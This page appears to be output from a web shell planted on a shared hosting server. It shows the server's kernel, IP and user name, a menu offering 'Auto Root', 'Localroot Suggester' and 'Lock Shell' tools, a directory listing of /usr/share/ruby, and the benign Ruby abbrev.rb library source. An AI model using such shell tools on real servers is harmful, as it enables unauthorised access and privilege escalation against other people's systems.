Linux sv3046.xserver.jp 5.15.0-157-generic #167-Ubuntu SMP Wed Sep 17 21:35:53 UTC 2025 x86_64
Apache
Server IP : 202.254.234.47 & Your IP : 216.73.216.41
Domains :
Cant Read [ /etc/named.conf ]
User : kinomori
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Lock Shell
Lock File++
Readme
/
usr /
share /
ruby /
Delete
Unzip
Name
Size
Permission
Date
Action
bigdecimal
[ DIR ]
drwxr-xr-x
2024-10-21 22:11
cgi
[ DIR ]
drwxr-xr-x
2024-10-21 22:11
digest
[ DIR ]
drwxr-xr-x
2024-10-21 22:11
drb
[ DIR ]
drwxr-xr-x
2024-10-21 22:11
fiddle
[ DIR ]
drwxr-xr-x
2024-10-21 22:11
forwardable
[ DIR ]
drwxr-xr-x
2024-10-21 22:11
io
[ DIR ]
drwxr-xr-x
2024-10-21 22:11
irb
[ DIR ]
drwxr-xr-x
2024-10-21 22:11
json
[ DIR ]
drwxr-xr-x
2024-10-21 22:11
matrix
[ DIR ]
drwxr-xr-x
2024-10-21 22:11
net
[ DIR ]
drwxr-xr-x
2024-10-21 22:11
openssl
[ DIR ]
drwxr-xr-x
2024-10-21 22:11
optparse
[ DIR ]
drwxr-xr-x
2024-10-21 22:11
psych
[ DIR ]
drwxr-xr-x
2024-10-21 22:11
racc
[ DIR ]
drwxr-xr-x
2024-10-21 22:11
rexml
[ DIR ]
drwxr-xr-x
2024-10-21 22:11
rinda
[ DIR ]
drwxr-xr-x
2024-10-21 22:11
ripper
[ DIR ]
drwxr-xr-x
2024-10-21 22:11
rss
[ DIR ]
drwxr-xr-x
2024-10-21 22:11
shell
[ DIR ]
drwxr-xr-x
2024-10-21 22:11
syslog
[ DIR ]
drwxr-xr-x
2024-10-21 22:11
unicode_normalize
[ DIR ]
drwxr-xr-x
2024-10-21 22:11
uri
[ DIR ]
drwxr-xr-x
2024-10-21 22:11
vendor_ruby
[ DIR ]
drwxr-xr-x
2024-07-12 02:38
webrick
[ DIR ]
drwxr-xr-x
2024-10-21 22:11
yaml
[ DIR ]
drwxr-xr-x
2024-10-21 22:11
English.rb
6.31
KB
-rw-r--r--
2021-04-05 20:46
abbrev.rb
3.49
KB
-rw-r--r--
2021-04-05 20:46
base64.rb
3.3
KB
-rw-r--r--
2021-04-05 20:46
benchmark.rb
17.89
KB
-rw-r--r--
2021-04-05 20:46
cgi.rb
9.8
KB
-rw-r--r--
2021-04-05 20:46
cmath.rb
9.49
KB
-rw-r--r--
2021-04-05 20:46
csv.rb
82.88
KB
-rw-r--r--
2021-04-05 20:46
date.rb
1003
B
-rw-r--r--
2024-07-12 02:38
debug.rb
29.97
KB
-rw-r--r--
2021-04-05 20:46
delegate.rb
10.44
KB
-rw-r--r--
2021-04-05 20:46
digest.rb
2.83
KB
-rw-r--r--
2024-07-12 02:38
drb.rb
50
B
-rw-r--r--
2021-04-05 20:46
e2mmap.rb
3.94
KB
-rw-r--r--
2021-04-05 20:46
erb.rb
27.46
KB
-rw-r--r--
2021-04-05 20:46
expect.rb
2.17
KB
-rw-r--r--
2024-07-12 02:38
fiddle.rb
1.68
KB
-rw-r--r--
2024-07-12 02:38
fileutils.rb
44.15
KB
-rw-r--r--
2021-04-05 20:46
find.rb
2.47
KB
-rw-r--r--
2021-04-05 20:46
forwardable.rb
8.49
KB
-rw-r--r--
2021-04-05 20:46
getoptlong.rb
15.42
KB
-rw-r--r--
2021-04-05 20:46
ipaddr.rb
19.51
KB
-rw-r--r--
2021-04-05 20:46
irb.rb
20.48
KB
-rw-r--r--
2021-04-05 20:46
json.rb
1.77
KB
-rw-r--r--
2024-07-12 02:38
kconv.rb
5.77
KB
-rw-r--r--
2024-07-12 02:38
logger.rb
23.54
KB
-rw-r--r--
2021-04-05 20:46
matrix.rb
53.2
KB
-rw-r--r--
2021-04-05 20:46
mkmf.rb
84.4
KB
-rw-r--r--
2024-07-12 02:36
monitor.rb
7.71
KB
-rw-r--r--
2021-04-05 20:46
mutex_m.rb
2.02
KB
-rw-r--r--
2021-04-05 20:46
observer.rb
5.83
KB
-rw-r--r--
2021-04-05 20:46
open-uri.rb
25.11
KB
-rw-r--r--
2021-04-05 20:46
open3.rb
20.94
KB
-rw-r--r--
2021-04-05 20:46
openssl.rb
469
B
-rw-r--r--
2024-07-12 02:38
optionparser.rb
59
B
-rw-r--r--
2021-04-05 20:46
optparse.rb
57.25
KB
-rw-r--r--
2021-04-05 20:46
ostruct.rb
10.16
KB
-rw-r--r--
2021-04-05 20:46
pathname.rb
16.09
KB
-rw-r--r--
2024-07-12 02:38
pp.rb
14.36
KB
-rw-r--r--
2021-04-05 20:46
prettyprint.rb
15.89
KB
-rw-r--r--
2021-04-05 20:46
prime.rb
12.48
KB
-rw-r--r--
2021-04-05 20:46
profile.rb
235
B
-rw-r--r--
2021-04-05 20:46
profiler.rb
4.54
KB
-rw-r--r--
2021-04-05 20:46
pstore.rb
14.7
KB
-rw-r--r--
2021-04-05 20:46
psych.rb
16.54
KB
-rw-r--r--
2024-07-12 02:38
resolv-replace.rb
1.76
KB
-rw-r--r--
2021-04-05 20:46
resolv.rb
73.71
KB
-rw-r--r--
2024-07-12 02:36
ripper.rb
2.44
KB
-rw-r--r--
2024-07-12 02:38
rss.rb
2.87
KB
-rw-r--r--
2021-04-05 20:46
scanf.rb
23.57
KB
-rw-r--r--
2021-04-05 20:46
securerandom.rb
8.67
KB
-rw-r--r--
2021-04-05 20:46
set.rb
24.01
KB
-rw-r--r--
2021-04-05 20:46
shell.rb
11.37
KB
-rw-r--r--
2021-04-05 20:46
shellwords.rb
6.66
KB
-rw-r--r--
2021-04-05 20:46
singleton.rb
4.04
KB
-rw-r--r--
2021-04-05 20:46
socket.rb
43.51
KB
-rw-r--r--
2024-07-12 02:38
sync.rb
7.29
KB
-rw-r--r--
2021-04-05 20:46
tempfile.rb
11.14
KB
-rw-r--r--
2021-04-05 20:46
thwait.rb
3.33
KB
-rw-r--r--
2021-04-05 20:46
time.rb
22.38
KB
-rw-r--r--
2024-07-12 02:36
timeout.rb
3.81
KB
-rw-r--r--
2021-04-05 20:46
tmpdir.rb
4.25
KB
-rw-r--r--
2021-04-05 20:46
tracer.rb
6.42
KB
-rw-r--r--
2021-04-05 20:46
tsort.rb
14.3
KB
-rw-r--r--
2021-04-05 20:46
un.rb
9.78
KB
-rw-r--r--
2021-04-05 20:46
uri.rb
3.1
KB
-rw-r--r--
2021-04-05 20:46
weakref.rb
1.44
KB
-rw-r--r--
2021-04-05 20:46
webrick.rb
6.72
KB
-rw-r--r--
2021-04-05 20:46
yaml.rb
1.73
KB
-rw-r--r--
2021-04-05 20:46
Save
Rename
# frozen_string_literal: true #-- # Copyright (c) 2001,2003 Akinori MUSHA <knu@iDaemons.org> # # All rights reserved. You can redistribute and/or modify it under # the same terms as Ruby. # # $Idaemons: /home/cvs/rb/abbrev.rb,v 1.2 2001/05/30 09:37:45 knu Exp $ # $RoughId: abbrev.rb,v 1.4 2003/10/14 19:45:42 knu Exp $ # $Id: abbrev.rb 57585 2017-02-09 16:12:00Z kazu $ #++ ## # Calculates the set of unambiguous abbreviations for a given set of strings. # # require 'abbrev' # require 'pp' # # pp Abbrev.abbrev(['ruby']) # #=> {"ruby"=>"ruby", "rub"=>"ruby", "ru"=>"ruby", "r"=>"ruby"} # # pp Abbrev.abbrev(%w{ ruby rules }) # # _Generates:_ # { "ruby" => "ruby", # "rub" => "ruby", # "rules" => "rules", # "rule" => "rules", # "rul" => "rules" } # # It also provides an array core extension, Array#abbrev. # # pp %w{ summer winter }.abbrev # # _Generates:_ # { "summer" => "summer", # "summe" => "summer", # "summ" => "summer", # "sum" => "summer", # "su" => "summer", # "s" => "summer", # "winter" => "winter", # "winte" => "winter", # "wint" => "winter", # "win" => "winter", # "wi" => "winter", # "w" => "winter" } module Abbrev # Given a set of strings, calculate the set of unambiguous abbreviations for # those strings, and return a hash where the keys are all the possible # abbreviations and the values are the full strings. # # Thus, given +words+ is "car" and "cone", the keys pointing to "car" would # be "ca" and "car", while those pointing to "cone" would be "co", "con", and # "cone". # # require 'abbrev' # # Abbrev.abbrev(%w{ car cone }) # #=> {"ca"=>"car", "con"=>"cone", "co"=>"cone", "car"=>"car", "cone"=>"cone"} # # The optional +pattern+ parameter is a pattern or a string. Only input # strings that match the pattern or start with the string are included in the # output hash. # # Abbrev.abbrev(%w{car box cone crab}, /b/) # #=> {"box"=>"box", "bo"=>"box", "b"=>"box", "crab" => "crab"} # # Abbrev.abbrev(%w{car box cone}, 'ca') # #=> {"car"=>"car", "ca"=>"car"} def abbrev(words, pattern = nil) table = {} seen = Hash.new(0) if pattern.is_a?(String) pattern = /\A#{Regexp.quote(pattern)}/ # regard as a prefix end words.each do |word| next if word.empty? word.size.downto(1) { |len| abbrev = word[0...len] next if pattern && pattern !~ abbrev case seen[abbrev] += 1 when 1 table[abbrev] = word when 2 table.delete(abbrev) else break end } end words.each do |word| next if pattern && pattern !~ word table[word] = word end table end module_function :abbrev end class Array # Calculates the set of unambiguous abbreviations for the strings in +self+. # # require 'abbrev' # %w{ car cone }.abbrev # #=> {"car"=>"car", "ca"=>"car", "cone"=>"cone", "con"=>"cone", "co"=>"cone"} # # The optional +pattern+ parameter is a pattern or a string. Only input # strings that match the pattern or start with the string are included in the # output hash. # # %w{ fast boat day }.abbrev(/^.a/) # #=> {"fast"=>"fast", "fas"=>"fast", "fa"=>"fast", "day"=>"day", "da"=>"day"} # # Abbrev.abbrev(%w{car box cone}, "ca") # #=> {"car"=>"car", "ca"=>"car"} # # See also Abbrev.abbrev def abbrev(pattern = nil) Abbrev::abbrev(self, pattern) end end